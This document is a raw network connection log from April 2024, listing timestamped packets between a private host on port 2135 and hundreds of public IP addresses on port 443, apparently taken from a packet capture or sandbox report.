Apr 14, 2024 03:59:52.062621117 CEST	443	2135	123.220.133.35	192.168.2.23
Apr 14, 2024 03:59:52.062622070 CEST	443	2135	210.89.46.109	192.168.2.23
Apr 14, 2024 03:59:52.062619925 CEST	2135	443	192.168.2.23	94.149.16.134
Apr 14, 2024 03:59:52.062628031 CEST	2135	443	192.168.2.23	79.72.207.22
Apr 14, 2024 03:59:52.062628031 CEST	2135	443	192.168.2.23	118.146.5.217
Apr 14, 2024 03:59:52.062628031 CEST	2135	443	192.168.2.23	148.102.88.181
Apr 14, 2024 03:59:52.062628031 CEST	2135	443	192.168.2.23	42.37.205.197
Apr 14, 2024 03:59:52.062628031 CEST	2135	443	192.168.2.23	212.65.216.101
Apr 14, 2024 03:59:52.062629938 CEST	443	2135	202.77.232.150	192.168.2.23
Apr 14, 2024 03:59:52.062632084 CEST	443	2135	148.18.66.143	192.168.2.23
Apr 14, 2024 03:59:52.062633038 CEST	443	2135	178.174.220.220	192.168.2.23
Apr 14, 2024 03:59:52.062633038 CEST	2135	443	192.168.2.23	5.108.93.192
Apr 14, 2024 03:59:52.062633038 CEST	2135	443	192.168.2.23	109.110.213.141
Apr 14, 2024 03:59:52.062637091 CEST	2135	443	192.168.2.23	5.210.116.197
Apr 14, 2024 03:59:52.062637091 CEST	2135	443	192.168.2.23	5.44.198.61
Apr 14, 2024 03:59:52.062637091 CEST	2135	443	192.168.2.23	210.191.109.105
Apr 14, 2024 03:59:52.062637091 CEST	2135	443	192.168.2.23	37.110.81.188
Apr 14, 2024 03:59:52.062638044 CEST	443	2135	148.227.138.206	192.168.2.23
Apr 14, 2024 03:59:52.062637091 CEST	2135	443	192.168.2.23	118.18.110.5
Apr 14, 2024 03:59:52.062638998 CEST	443	2135	94.149.16.134	192.168.2.23
Apr 14, 2024 03:59:52.062637091 CEST	2135	443	192.168.2.23	37.47.157.51
Apr 14, 2024 03:59:52.062640905 CEST	443	2135	178.47.132.251	192.168.2.23
Apr 14, 2024 03:59:52.062644005 CEST	443	2135	123.214.46.61	192.168.2.23
Apr 14, 2024 03:59:52.062644958 CEST	443	2135	5.108.93.192	192.168.2.23
Apr 14, 2024 03:59:52.062644958 CEST	2135	443	192.168.2.23	178.57.62.16
Apr 14, 2024 03:59:52.062645912 CEST	443	2135	118.146.5.217	192.168.2.23
Apr 14, 2024 03:59:52.062647104 CEST	443	2135	148.102.88.181	192.168.2.23
Apr 14, 2024 03:59:52.062650919 CEST	443	2135	109.110.213.141	192.168.2.23
Apr 14, 2024 03:59:52.062650919 CEST	443	2135	79.156.37.111	192.168.2.23
Apr 14, 2024 03:59:52.062650919 CEST	2135	443	192.168.2.23	37.146.11.251
Apr 14, 2024 03:59:52.062652111 CEST	2135	443	192.168.2.23	202.30.211.108
Apr 14, 2024 03:59:52.062652111 CEST	2135	443	192.168.2.23	210.166.144.149
Apr 14, 2024 03:59:52.062652111 CEST	2135	443	192.168.2.23	42.53.133.146
Apr 14, 2024 03:59:52.062655926 CEST	443	2135	5.44.198.61	192.168.2.23
Apr 14, 2024 03:59:52.062657118 CEST	443	2135	42.37.205.197	192.168.2.23
Apr 14, 2024 03:59:52.062658072 CEST	2135	443	192.168.2.23	202.77.232.150
Apr 14, 2024 03:59:52.062658072 CEST	2135	443	192.168.2.23	178.174.220.220
Apr 14, 2024 03:59:52.062659979 CEST	443	2135	37.110.81.188	192.168.2.23
Apr 14, 2024 03:59:52.062659979 CEST	443	2135	210.191.109.105	192.168.2.23
Apr 14, 2024 03:59:52.062661886 CEST	2135	443	192.168.2.23	37.119.163.189
Apr 14, 2024 03:59:52.062661886 CEST	2135	443	192.168.2.23	79.96.160.86
Apr 14, 2024 03:59:52.062663078 CEST	2135	443	192.168.2.23	178.57.113.72
Apr 14, 2024 03:59:52.062661886 CEST	2135	443	192.168.2.23	109.161.234.102
Apr 14, 2024 03:59:52.062663078 CEST	2135	443	192.168.2.23	148.18.66.143
Apr 14, 2024 03:59:52.062663078 CEST	443	2135	37.146.11.251	192.168.2.23
Apr 14, 2024 03:59:52.062661886 CEST	2135	443	192.168.2.23	37.29.26.215
Apr 14, 2024 03:59:52.062669039 CEST	443	2135	212.65.216.101	192.168.2.23
Apr 14, 2024 03:59:52.062670946 CEST	2135	443	192.168.2.23	79.181.181.137
Apr 14, 2024 03:59:52.062670946 CEST	2135	443	192.168.2.23	210.89.46.109
Apr 14, 2024 03:59:52.062671900 CEST	2135	443	192.168.2.23	148.227.138.206
Apr 14, 2024 03:59:52.062674999 CEST	2135	443	192.168.2.23	178.47.132.251
Apr 14, 2024 03:59:52.062679052 CEST	443	2135	202.30.211.108	192.168.2.23
Apr 14, 2024 03:59:52.062680006 CEST	443	2135	37.119.163.189	192.168.2.23
Apr 14, 2024 03:59:52.062680006 CEST	2135	443	192.168.2.23	94.149.16.134
Apr 14, 2024 03:59:52.062683105 CEST	2135	443	192.168.2.23	123.214.46.61
Apr 14, 2024 03:59:52.062683105 CEST	2135	443	192.168.2.23	5.113.159.46
Apr 14, 2024 03:59:52.062684059 CEST	2135	443	192.168.2.23	5.108.93.192
Apr 14, 2024 03:59:52.062684059 CEST	2135	443	192.168.2.23	123.220.133.35
Apr 14, 2024 03:59:52.062684059 CEST	2135	443	192.168.2.23	118.146.5.217
Apr 14, 2024 03:59:52.062684059 CEST	2135	443	192.168.2.23	109.110.213.141
Apr 14, 2024 03:59:52.062684059 CEST	2135	443	192.168.2.23	148.102.88.181
Apr 14, 2024 03:59:52.062686920 CEST	2135	443	192.168.2.23	37.110.81.188
Apr 14, 2024 03:59:52.062691927 CEST	443	2135	79.96.160.86	192.168.2.23
Apr 14, 2024 03:59:52.062693119 CEST	443	2135	210.166.144.149	192.168.2.23
Apr 14, 2024 03:59:52.062696934 CEST	2135	443	192.168.2.23	79.156.37.111
Apr 14, 2024 03:59:52.062699080 CEST	2135	443	192.168.2.23	210.191.109.105
Apr 14, 2024 03:59:52.062699080 CEST	2135	443	192.168.2.23	5.44.198.61
Apr 14, 2024 03:59:52.062701941 CEST	2135	443	192.168.2.23	37.146.11.251
Apr 14, 2024 03:59:52.062704086 CEST	443	2135	109.161.234.102	192.168.2.23
Apr 14, 2024 03:59:52.062705040 CEST	2135	443	192.168.2.23	42.37.205.197
Apr 14, 2024 03:59:52.062711000 CEST	2135	443	192.168.2.23	202.30.211.108
Apr 14, 2024 03:59:52.062714100 CEST	2135	443	192.168.2.23	212.65.216.101
Apr 14, 2024 03:59:52.062715054 CEST	2135	443	192.168.2.23	118.216.249.185
Apr 14, 2024 03:59:52.062716007 CEST	443	2135	37.29.26.215	192.168.2.23
Apr 14, 2024 03:59:52.062721968 CEST	443	2135	118.216.249.185	192.168.2.23
Apr 14, 2024 03:59:52.062724113 CEST	2135	443	192.168.2.23	210.166.144.149
Apr 14, 2024 03:59:52.062724113 CEST	2135	443	192.168.2.23	37.119.163.189
Apr 14, 2024 03:59:52.062724113 CEST	2135	443	192.168.2.23	117.108.131.95
Apr 14, 2024 03:59:52.062724113 CEST	2135	443	192.168.2.23	79.96.160.86
Apr 14, 2024 03:59:52.062737942 CEST	443	2135	117.108.131.95	192.168.2.23
Apr 14, 2024 03:59:52.062742949 CEST	2135	443	192.168.2.23	5.128.247.245
Apr 14, 2024 03:59:52.062742949 CEST	2135	443	192.168.2.23	109.161.234.102
Apr 14, 2024 03:59:52.062742949 CEST	2135	443	192.168.2.23	37.29.26.215
Apr 14, 2024 03:59:52.062748909 CEST	443	2135	5.128.247.245	192.168.2.23
Apr 14, 2024 03:59:52.062750101 CEST	2135	443	192.168.2.23	2.9.55.70
Apr 14, 2024 03:59:52.062750101 CEST	2135	443	192.168.2.23	118.216.249.185
Apr 14, 2024 03:59:52.062760115 CEST	2135	443	192.168.2.23	42.120.181.117
Apr 14, 2024 03:59:52.062760115 CEST	443	2135	2.9.55.70	192.168.2.23
Apr 14, 2024 03:59:52.062767982 CEST	443	2135	42.120.181.117	192.168.2.23
Apr 14, 2024 03:59:52.062767982 CEST	2135	443	192.168.2.23	117.108.131.95
Apr 14, 2024 03:59:52.062773943 CEST	2135	443	192.168.2.23	5.128.247.245
Apr 14, 2024 03:59:52.062788963 CEST	2135	443	192.168.2.23	2.9.55.70
Apr 14, 2024 03:59:52.062794924 CEST	2135	443	192.168.2.23	94.214.211.18
Apr 14, 2024 03:59:52.062794924 CEST	2135	443	192.168.2.23	42.120.181.117
Apr 14, 2024 03:59:52.062803030 CEST	443	2135	94.214.211.18	192.168.2.23
Apr 14, 2024 03:59:52.062808990 CEST	2135	443	192.168.2.23	109.191.23.139
Apr 14, 2024 03:59:52.062810898 CEST	2135	443	192.168.2.23	94.36.63.68
Apr 14, 2024 03:59:52.062813044 CEST	2135	443	192.168.2.23	109.202.172.208
Apr 14, 2024 03:59:52.062818050 CEST	443	2135	94.36.63.68	192.168.2.23
Apr 14, 2024 03:59:52.062819004 CEST	443	2135	109.191.23.139	192.168.2.23
Apr 14, 2024 03:59:52.062820911 CEST	443	2135	109.202.172.208	192.168.2.23
Apr 14, 2024 03:59:52.062829018 CEST	2135	443	192.168.2.23	5.252.210.208
Apr 14, 2024 03:59:52.062834024 CEST	443	2135	5.252.210.208	192.168.2.23
Apr 14, 2024 03:59:52.062833071 CEST	2135	443	192.168.2.23	94.214.211.18
Apr 14, 2024 03:59:52.062834978 CEST	2135	443	192.168.2.23	210.154.20.61
Apr 14, 2024 03:59:52.062845945 CEST	443	2135	210.154.20.61	192.168.2.23
Apr 14, 2024 03:59:52.062853098 CEST	2135	443	192.168.2.23	94.36.63.68
Apr 14, 2024 03:59:52.062854052 CEST	2135	443	192.168.2.23	109.202.172.208
Apr 14, 2024 03:59:52.062855959 CEST	2135	443	192.168.2.23	109.191.23.139
Apr 14, 2024 03:59:52.062856913 CEST	2135	443	192.168.2.23	5.252.210.208
Apr 14, 2024 03:59:52.062871933 CEST	2135	443	192.168.2.23	123.162.197.100
Apr 14, 2024 03:59:52.062871933 CEST	2135	443	192.168.2.23	210.154.20.61
Apr 14, 2024 03:59:52.062880993 CEST	443	2135	123.162.197.100	192.168.2.23
Apr 14, 2024 03:59:52.062884092 CEST	2135	443	192.168.2.23	212.222.184.131
Apr 14, 2024 03:59:52.062886953 CEST	2135	443	192.168.2.23	117.142.95.250
Apr 14, 2024 03:59:52.062890053 CEST	443	2135	212.222.184.131	192.168.2.23
Apr 14, 2024 03:59:52.062896967 CEST	443	2135	117.142.95.250	192.168.2.23
Apr 14, 2024 03:59:52.062968969 CEST	2135	443	192.168.2.23	37.169.201.23
Apr 14, 2024 03:59:52.062968969 CEST	2135	443	192.168.2.23	109.203.233.91
Apr 14, 2024 03:59:52.062969923 CEST	2135	443	192.168.2.23	117.142.95.250
Apr 14, 2024 03:59:52.062972069 CEST	2135	443	192.168.2.23	5.151.200.187
Apr 14, 2024 03:59:52.062973022 CEST	2135	443	192.168.2.23	178.165.176.21
Apr 14, 2024 03:59:52.062972069 CEST	2135	443	192.168.2.23	2.129.202.172
Apr 14, 2024 03:59:52.062973022 CEST	2135	443	192.168.2.23	2.224.107.241
Apr 14, 2024 03:59:52.062972069 CEST	2135	443	192.168.2.23	5.251.163.129
Apr 14, 2024 03:59:52.062973022 CEST	2135	443	192.168.2.23	37.86.85.210
Apr 14, 2024 03:59:52.062973022 CEST	2135	443	192.168.2.23	117.247.156.72
Apr 14, 2024 03:59:52.062979937 CEST	443	2135	5.151.200.187	192.168.2.23
Apr 14, 2024 03:59:52.062984943 CEST	443	2135	37.169.201.23	192.168.2.23
Apr 14, 2024 03:59:52.062988997 CEST	2135	443	192.168.2.23	148.223.143.44
Apr 14, 2024 03:59:52.062988997 CEST	2135	443	192.168.2.23	94.236.78.252
Apr 14, 2024 03:59:52.062989950 CEST	443	2135	2.129.202.172	192.168.2.23
Apr 14, 2024 03:59:52.062990904 CEST	443	2135	178.165.176.21	192.168.2.23
Apr 14, 2024 03:59:52.062995911 CEST	2135	443	192.168.2.23	79.51.204.220
Apr 14, 2024 03:59:52.062997103 CEST	443	2135	148.223.143.44	192.168.2.23
Apr 14, 2024 03:59:52.062999010 CEST	443	2135	109.203.233.91	192.168.2.23
Apr 14, 2024 03:59:52.063000917 CEST	443	2135	2.224.107.241	192.168.2.23
Apr 14, 2024 03:59:52.063003063 CEST	443	2135	79.51.204.220	192.168.2.23
Apr 14, 2024 03:59:52.063003063 CEST	2135	443	192.168.2.23	2.178.60.146
Apr 14, 2024 03:59:52.063004971 CEST	443	2135	5.251.163.129	192.168.2.23
Apr 14, 2024 03:59:52.063004971 CEST	2135	443	192.168.2.23	123.162.197.100
Apr 14, 2024 03:59:52.063004971 CEST	2135	443	192.168.2.23	210.175.242.155
Apr 14, 2024 03:59:52.063004971 CEST	2135	443	192.168.2.23	210.93.182.74
Apr 14, 2024 03:59:52.063004971 CEST	2135	443	192.168.2.23	202.35.151.175
Apr 14, 2024 03:59:52.063004971 CEST	2135	443	192.168.2.23	178.106.53.229
Apr 14, 2024 03:59:52.063004971 CEST	2135	443	192.168.2.23	42.133.146.51
Apr 14, 2024 03:59:52.063004971 CEST	2135	443	192.168.2.23	212.15.168.173
Apr 14, 2024 03:59:52.063004971 CEST	2135	443	192.168.2.23	5.217.130.150
Apr 14, 2024 03:59:52.063009024 CEST	443	2135	2.178.60.146	192.168.2.23
Apr 14, 2024 03:59:52.063009977 CEST	443	2135	37.86.85.210	192.168.2.23
Apr 14, 2024 03:59:52.063010931 CEST	2135	443	192.168.2.23	5.151.200.187
Apr 14, 2024 03:59:52.063013077 CEST	443	2135	94.236.78.252	192.168.2.23
Apr 14, 2024 03:59:52.063016891 CEST	443	2135	117.247.156.72	192.168.2.23
Apr 14, 2024 03:59:52.063019037 CEST	2135	443	192.168.2.23	123.22.17.7
Apr 14, 2024 03:59:52.063019037 CEST	2135	443	192.168.2.23	109.141.9.87
Apr 14, 2024 03:59:52.063019037 CEST	2135	443	192.168.2.23	117.220.39.48
Apr 14, 2024 03:59:52.063019037 CEST	2135	443	192.168.2.23	2.129.202.172
Apr 14, 2024 03:59:52.063026905 CEST	443	2135	210.175.242.155	192.168.2.23
Apr 14, 2024 03:59:52.063028097 CEST	2135	443	192.168.2.23	123.74.208.171
Apr 14, 2024 03:59:52.063028097 CEST	2135	443	192.168.2.23	2.18.29.209
Apr 14, 2024 03:59:52.063028097 CEST	2135	443	192.168.2.23	178.165.176.21
Apr 14, 2024 03:59:52.063028097 CEST	2135	443	192.168.2.23	42.237.122.108
Apr 14, 2024 03:59:52.063028097 CEST	2135	443	192.168.2.23	2.224.107.241
Apr 14, 2024 03:59:52.063030958 CEST	2135	443	192.168.2.23	148.223.143.44
Apr 14, 2024 03:59:52.063030958 CEST	2135	443	192.168.2.23	37.157.184.151
Apr 14, 2024 03:59:52.063033104 CEST	443	2135	123.22.17.7	192.168.2.23
Apr 14, 2024 03:59:52.063033104 CEST	2135	443	192.168.2.23	212.222.184.131
Apr 14, 2024 03:59:52.063033104 CEST	2135	443	192.168.2.23	109.169.71.243
Apr 14, 2024 03:59:52.063033104 CEST	2135	443	192.168.2.23	210.165.81.168
Apr 14, 2024 03:59:52.063038111 CEST	443	2135	123.74.208.171	192.168.2.23
Apr 14, 2024 03:59:52.063040972 CEST	443	2135	37.157.184.151	192.168.2.23
Apr 14, 2024 03:59:52.063043118 CEST	443	2135	202.35.151.175	192.168.2.23
Apr 14, 2024 03:59:52.063044071 CEST	443	2135	210.93.182.74	192.168.2.23
Apr 14, 2024 03:59:52.063045025 CEST	443	2135	109.169.71.243	192.168.2.23
Apr 14, 2024 03:59:52.063045979 CEST	443	2135	109.141.9.87	192.168.2.23
Apr 14, 2024 03:59:52.063049078 CEST	2135	443	192.168.2.23	2.178.60.146
Apr 14, 2024 03:59:52.063050985 CEST	443	2135	2.18.29.209	192.168.2.23
Apr 14, 2024 03:59:52.063054085 CEST	2135	443	192.168.2.23	79.51.204.220
Apr 14, 2024 03:59:52.063056946 CEST	443	2135	42.237.122.108	192.168.2.23
Apr 14, 2024 03:59:52.063056946 CEST	443	2135	178.106.53.229	192.168.2.23
Apr 14, 2024 03:59:52.063057899 CEST	2135	443	192.168.2.23	37.86.85.210
Apr 14, 2024 03:59:52.063059092 CEST	443	2135	117.220.39.48	192.168.2.23
Apr 14, 2024 03:59:52.063062906 CEST	2135	443	192.168.2.23	94.236.78.252
Apr 14, 2024 03:59:52.063065052 CEST	443	2135	210.165.81.168	192.168.2.23
Apr 14, 2024 03:59:52.063065052 CEST	2135	443	192.168.2.23	117.247.156.72
Apr 14, 2024 03:59:52.063065052 CEST	2135	443	192.168.2.23	94.110.84.39
Apr 14, 2024 03:59:52.063065052 CEST	2135	443	192.168.2.23	2.174.136.184
Apr 14, 2024 03:59:52.063065052 CEST	2135	443	192.168.2.23	202.208.79.81
Apr 14, 2024 03:59:52.063071966 CEST	443	2135	42.133.146.51	192.168.2.23
Apr 14, 2024 03:59:52.063072920 CEST	2135	443	192.168.2.23	2.18.29.209
Apr 14, 2024 03:59:52.063072920 CEST	2135	443	192.168.2.23	123.74.208.171
Apr 14, 2024 03:59:52.063076973 CEST	443	2135	94.110.84.39	192.168.2.23
Apr 14, 2024 03:59:52.063081026 CEST	2135	443	192.168.2.23	5.251.163.129
Apr 14, 2024 03:59:52.063081026 CEST	2135	443	192.168.2.23	178.238.174.227
Apr 14, 2024 03:59:52.063081026 CEST	2135	443	192.168.2.23	123.22.17.7
Apr 14, 2024 03:59:52.063081026 CEST	2135	443	192.168.2.23	109.141.9.87
Apr 14, 2024 03:59:52.063081980 CEST	443	2135	212.15.168.173	192.168.2.23
Apr 14, 2024 03:59:52.063091040 CEST	443	2135	2.174.136.184	192.168.2.23
Apr 14, 2024 03:59:52.063091040 CEST	2135	443	192.168.2.23	42.237.122.108
Apr 14, 2024 03:59:52.063092947 CEST	443	2135	178.238.174.227	192.168.2.23
Apr 14, 2024 03:59:52.063097000 CEST	2135	443	192.168.2.23	210.39.104.107
Apr 14, 2024 03:59:52.063097954 CEST	2135	443	192.168.2.23	37.157.184.151
Apr 14, 2024 03:59:52.063100100 CEST	2135	443	192.168.2.23	5.28.38.40
Apr 14, 2024 03:59:52.063101053 CEST	443	2135	5.217.130.150	192.168.2.23
Apr 14, 2024 03:59:52.063102961 CEST	443	2135	202.208.79.81	192.168.2.23
Apr 14, 2024 03:59:52.063102007 CEST	2135	443	192.168.2.23	37.48.153.254
Apr 14, 2024 03:59:52.063097000 CEST	2135	443	192.168.2.23	37.169.201.23
Apr 14, 2024 03:59:52.063111067 CEST	2135	443	192.168.2.23	42.81.52.119
Apr 14, 2024 03:59:52.063102007 CEST	2135	443	192.168.2.23	2.77.5.82
Apr 14, 2024 03:59:52.063097000 CEST	2135	443	192.168.2.23	109.203.233.91
Apr 14, 2024 03:59:52.063102007 CEST	2135	443	192.168.2.23	210.245.17.68
Apr 14, 2024 03:59:52.063097000 CEST	2135	443	192.168.2.23	210.175.242.155
Apr 14, 2024 03:59:52.063102961 CEST	2135	443	192.168.2.23	178.77.51.224
Apr 14, 2024 03:59:52.063097000 CEST	2135	443	192.168.2.23	210.93.182.74
Apr 14, 2024 03:59:52.063116074 CEST	443	2135	5.28.38.40	192.168.2.23
Apr 14, 2024 03:59:52.063097000 CEST	2135	443	192.168.2.23	202.35.151.175
Apr 14, 2024 03:59:52.063118935 CEST	443	2135	42.81.52.119	192.168.2.23
Apr 14, 2024 03:59:52.063122034 CEST	2135	443	192.168.2.23	117.220.39.48
Apr 14, 2024 03:59:52.063123941 CEST	2135	443	192.168.2.23	109.169.71.243
Apr 14, 2024 03:59:52.063123941 CEST	2135	443	192.168.2.23	94.110.84.39
Apr 14, 2024 03:59:52.063123941 CEST	2135	443	192.168.2.23	210.165.81.168
Apr 14, 2024 03:59:52.063127995 CEST	2135	443	192.168.2.23	118.5.194.76
Apr 14, 2024 03:59:52.063127995 CEST	2135	443	192.168.2.23	5.20.169.144
Apr 14, 2024 03:59:52.063131094 CEST	443	2135	37.48.153.254	192.168.2.23
Apr 14, 2024 03:59:52.063131094 CEST	443	2135	210.39.104.107	192.168.2.23
Apr 14, 2024 03:59:52.063132048 CEST	2135	443	192.168.2.23	37.76.29.66
Apr 14, 2024 03:59:52.063132048 CEST	2135	443	192.168.2.23	212.171.193.220
Apr 14, 2024 03:59:52.063134909 CEST	443	2135	118.5.194.76	192.168.2.23
Apr 14, 2024 03:59:52.063138008 CEST	443	2135	212.171.193.220	192.168.2.23
Apr 14, 2024 03:59:52.063138008 CEST	443	2135	37.76.29.66	192.168.2.23
Apr 14, 2024 03:59:52.063142061 CEST	443	2135	2.77.5.82	192.168.2.23
Apr 14, 2024 03:59:52.063143969 CEST	443	2135	5.20.169.144	192.168.2.23
Apr 14, 2024 03:59:52.063148022 CEST	443	2135	210.245.17.68	192.168.2.23
Apr 14, 2024 03:59:52.063149929 CEST	2135	443	192.168.2.23	42.81.52.119
Apr 14, 2024 03:59:52.063150883 CEST	2135	443	192.168.2.23	2.174.136.184
Apr 14, 2024 03:59:52.063153028 CEST	2135	443	192.168.2.23	178.106.53.229
Apr 14, 2024 03:59:52.063153028 CEST	2135	443	192.168.2.23	42.133.146.51
Apr 14, 2024 03:59:52.063153028 CEST	2135	443	192.168.2.23	212.15.168.173
Apr 14, 2024 03:59:52.063153028 CEST	2135	443	192.168.2.23	5.217.130.150
Apr 14, 2024 03:59:52.063154936 CEST	2135	443	192.168.2.23	178.238.174.227
Apr 14, 2024 03:59:52.063154936 CEST	2135	443	192.168.2.23	5.28.38.40
Apr 14, 2024 03:59:52.063158035 CEST	2135	443	192.168.2.23	202.208.79.81
Apr 14, 2024 03:59:52.063158989 CEST	443	2135	178.77.51.224	192.168.2.23
Apr 14, 2024 03:59:52.063159943 CEST	2135	443	192.168.2.23	79.139.151.115
Apr 14, 2024 03:59:52.063162088 CEST	2135	443	192.168.2.23	210.29.58.53
Apr 14, 2024 03:59:52.063164949 CEST	443	2135	79.139.151.115	192.168.2.23
Apr 14, 2024 03:59:52.063169003 CEST	443	2135	210.29.58.53	192.168.2.23
Apr 14, 2024 03:59:52.063174963 CEST	2135	443	192.168.2.23	118.5.194.76
Apr 14, 2024 03:59:52.063175917 CEST	2135	443	192.168.2.23	37.76.29.66
Apr 14, 2024 03:59:52.063178062 CEST	2135	443	192.168.2.23	37.48.153.254
Apr 14, 2024 03:59:52.063178062 CEST	2135	443	192.168.2.23	2.77.5.82
Apr 14, 2024 03:59:52.063179016 CEST	2135	443	192.168.2.23	210.39.104.107
Apr 14, 2024 03:59:52.063182116 CEST	2135	443	192.168.2.23	5.20.169.144
Apr 14, 2024 03:59:52.063182116 CEST	2135	443	192.168.2.23	212.171.193.220
Apr 14, 2024 03:59:52.063186884 CEST	2135	443	192.168.2.23	79.139.151.115
Apr 14, 2024 03:59:52.063189030 CEST	2135	443	192.168.2.23	210.245.17.68
Apr 14, 2024 03:59:52.063189030 CEST	2135	443	192.168.2.23	178.77.51.224
Apr 14, 2024 03:59:52.063193083 CEST	2135	443	192.168.2.23	5.233.148.100
Apr 14, 2024 03:59:52.063200951 CEST	443	2135	5.233.148.100	192.168.2.23
Apr 14, 2024 03:59:52.063210964 CEST	2135	443	192.168.2.23	2.40.251.231
Apr 14, 2024 03:59:52.063211918 CEST	2135	443	192.168.2.23	210.29.58.53
Apr 14, 2024 03:59:52.063218117 CEST	443	2135	2.40.251.231	192.168.2.23
Apr 14, 2024 03:59:52.063219070 CEST	2135	443	192.168.2.23	42.115.110.173
Apr 14, 2024 03:59:52.063221931 CEST	2135	443	192.168.2.23	202.176.47.80
Apr 14, 2024 03:59:52.063226938 CEST	443	2135	42.115.110.173	192.168.2.23
Apr 14, 2024 03:59:52.063229084 CEST	443	2135	202.176.47.80	192.168.2.23
Apr 14, 2024 03:59:52.063230991 CEST	2135	443	192.168.2.23	42.85.75.77
Apr 14, 2024 03:59:52.063239098 CEST	443	2135	42.85.75.77	192.168.2.23
Apr 14, 2024 03:59:52.063240051 CEST	2135	443	192.168.2.23	5.233.148.100
Apr 14, 2024 03:59:52.063240051 CEST	2135	443	192.168.2.23	123.104.107.97
Apr 14, 2024 03:59:52.063242912 CEST	2135	443	192.168.2.23	2.40.251.231
Apr 14, 2024 03:59:52.063251972 CEST	443	2135	123.104.107.97	192.168.2.23
Apr 14, 2024 03:59:52.063256979 CEST	2135	443	192.168.2.23	202.176.47.80
Apr 14, 2024 03:59:52.063258886 CEST	2135	443	192.168.2.23	42.115.110.173
Apr 14, 2024 03:59:52.063272953 CEST	2135	443	192.168.2.23	210.221.47.208
Apr 14, 2024 03:59:52.063282013 CEST	443	2135	210.221.47.208	192.168.2.23
Apr 14, 2024 03:59:52.063287020 CEST	2135	443	192.168.2.23	94.211.115.89
Apr 14, 2024 03:59:52.063292980 CEST	2135	443	192.168.2.23	202.31.35.224
Apr 14, 2024 03:59:52.063293934 CEST	443	2135	94.211.115.89	192.168.2.23
Apr 14, 2024 03:59:52.063297987 CEST	2135	443	192.168.2.23	118.130.97.255
Apr 14, 2024 03:59:52.063299894 CEST	443	2135	202.31.35.224	192.168.2.23
Apr 14, 2024 03:59:52.063299894 CEST	2135	443	192.168.2.23	117.151.179.58
Apr 14, 2024 03:59:52.063304901 CEST	443	2135	118.130.97.255	192.168.2.23
Apr 14, 2024 03:59:52.063308954 CEST	443	2135	117.151.179.58	192.168.2.23
Apr 14, 2024 03:59:52.063307047 CEST	2135	443	192.168.2.23	123.104.107.97
Apr 14, 2024 03:59:52.063324928 CEST	2135	443	192.168.2.23	42.85.75.77
Apr 14, 2024 03:59:52.063395977 CEST	2135	443	192.168.2.23	202.31.35.224
Apr 14, 2024 03:59:52.063395977 CEST	2135	443	192.168.2.23	2.112.142.230
Apr 14, 2024 03:59:52.063397884 CEST	2135	443	192.168.2.23	202.113.167.99
Apr 14, 2024 03:59:52.063397884 CEST	2135	443	192.168.2.23	42.66.205.75
Apr 14, 2024 03:59:52.063397884 CEST	2135	443	192.168.2.23	118.194.104.35
Apr 14, 2024 03:59:52.063397884 CEST	2135	443	192.168.2.23	123.110.3.248
Apr 14, 2024 03:59:52.063397884 CEST	2135	443	192.168.2.23	118.149.91.9
Apr 14, 2024 03:59:52.063400030 CEST	2135	443	192.168.2.23	42.190.36.108
Apr 14, 2024 03:59:52.063400030 CEST	2135	443	192.168.2.23	117.74.67.45
Apr 14, 2024 03:59:52.063400984 CEST	2135	443	192.168.2.23	118.130.97.255
Apr 14, 2024 03:59:52.063401937 CEST	2135	443	192.168.2.23	210.221.47.208
Apr 14, 2024 03:59:52.063400984 CEST	2135	443	192.168.2.23	79.78.200.196
Apr 14, 2024 03:59:52.063402891 CEST	2135	443	192.168.2.23	42.18.41.98
Apr 14, 2024 03:59:52.063402891 CEST	2135	443	192.168.2.23	117.151.179.58
Apr 14, 2024 03:59:52.063400984 CEST	2135	443	192.168.2.23	79.34.52.179
Apr 14, 2024 03:59:52.063401937 CEST	2135	443	192.168.2.23	148.119.233.145
Apr 14, 2024 03:59:52.063402891 CEST	2135	443	192.168.2.23	210.250.251.84
Apr 14, 2024 03:59:52.063402891 CEST	2135	443	192.168.2.23	212.17.161.2
Apr 14, 2024 03:59:52.063406944 CEST	443	2135	2.112.142.230	192.168.2.23
Apr 14, 2024 03:59:52.063410044 CEST	443	2135	42.190.36.108	192.168.2.23
Apr 14, 2024 03:59:52.063416958 CEST	443	2135	202.113.167.99	192.168.2.23
Apr 14, 2024 03:59:52.063416958 CEST	443	2135	42.18.41.98	192.168.2.23
Apr 14, 2024 03:59:52.063421011 CEST	443	2135	79.78.200.196	192.168.2.23
Apr 14, 2024 03:59:52.063421965 CEST	2135	443	192.168.2.23	178.245.85.105
Apr 14, 2024 03:59:52.063421965 CEST	443	2135	148.119.233.145	192.168.2.23
Apr 14, 2024 03:59:52.063422918 CEST	443	2135	210.250.251.84	192.168.2.23
Apr 14, 2024 03:59:52.063421965 CEST	2135	443	192.168.2.23	178.64.4.182
Apr 14, 2024 03:59:52.063421965 CEST	2135	443	192.168.2.23	109.200.61.86
Apr 14, 2024 03:59:52.063421965 CEST	2135	443	192.168.2.23	123.94.24.51
Apr 14, 2024 03:59:52.063421965 CEST	2135	443	192.168.2.23	109.225.151.70
Apr 14, 2024 03:59:52.063426018 CEST	2135	443	192.168.2.23	109.149.121.47
Apr 14, 2024 03:59:52.063426018 CEST	2135	443	192.168.2.23	5.48.76.242
Apr 14, 2024 03:59:52.063426971 CEST	443	2135	42.66.205.75	192.168.2.23
Apr 14, 2024 03:59:52.063426018 CEST	2135	443	192.168.2.23	117.252.134.251
Apr 14, 2024 03:59:52.063427925 CEST	443	2135	117.74.67.45	192.168.2.23
Apr 14, 2024 03:59:52.063427925 CEST	2135	443	192.168.2.23	5.2.205.197
Apr 14, 2024 03:59:52.063426971 CEST	2135	443	192.168.2.23	123.51.89.240
Apr 14, 2024 03:59:52.063431978 CEST	443	2135	79.34.52.179	192.168.2.23
Apr 14, 2024 03:59:52.063432932 CEST	2135	443	192.168.2.23	42.239.24.217
Apr 14, 2024 03:59:52.063432932 CEST	443	2135	212.17.161.2	192.168.2.23
Apr 14, 2024 03:59:52.063432932 CEST	2135	443	192.168.2.23	148.27.117.146
Apr 14, 2024 03:59:52.063426971 CEST	2135	443	192.168.2.23	148.235.119.14
Apr 14, 2024 03:59:52.063436985 CEST	443	2135	118.194.104.35	192.168.2.23
Apr 14, 2024 03:59:52.063427925 CEST	2135	443	192.168.2.23	118.89.12.163
Apr 14, 2024 03:59:52.063441992 CEST	2135	443	192.168.2.23	94.211.115.89
Apr 14, 2024 03:59:52.063441992 CEST	443	2135	178.64.4.182	192.168.2.23
Apr 14, 2024 03:59:52.063432932 CEST	2135	443	192.168.2.23	42.166.221.129
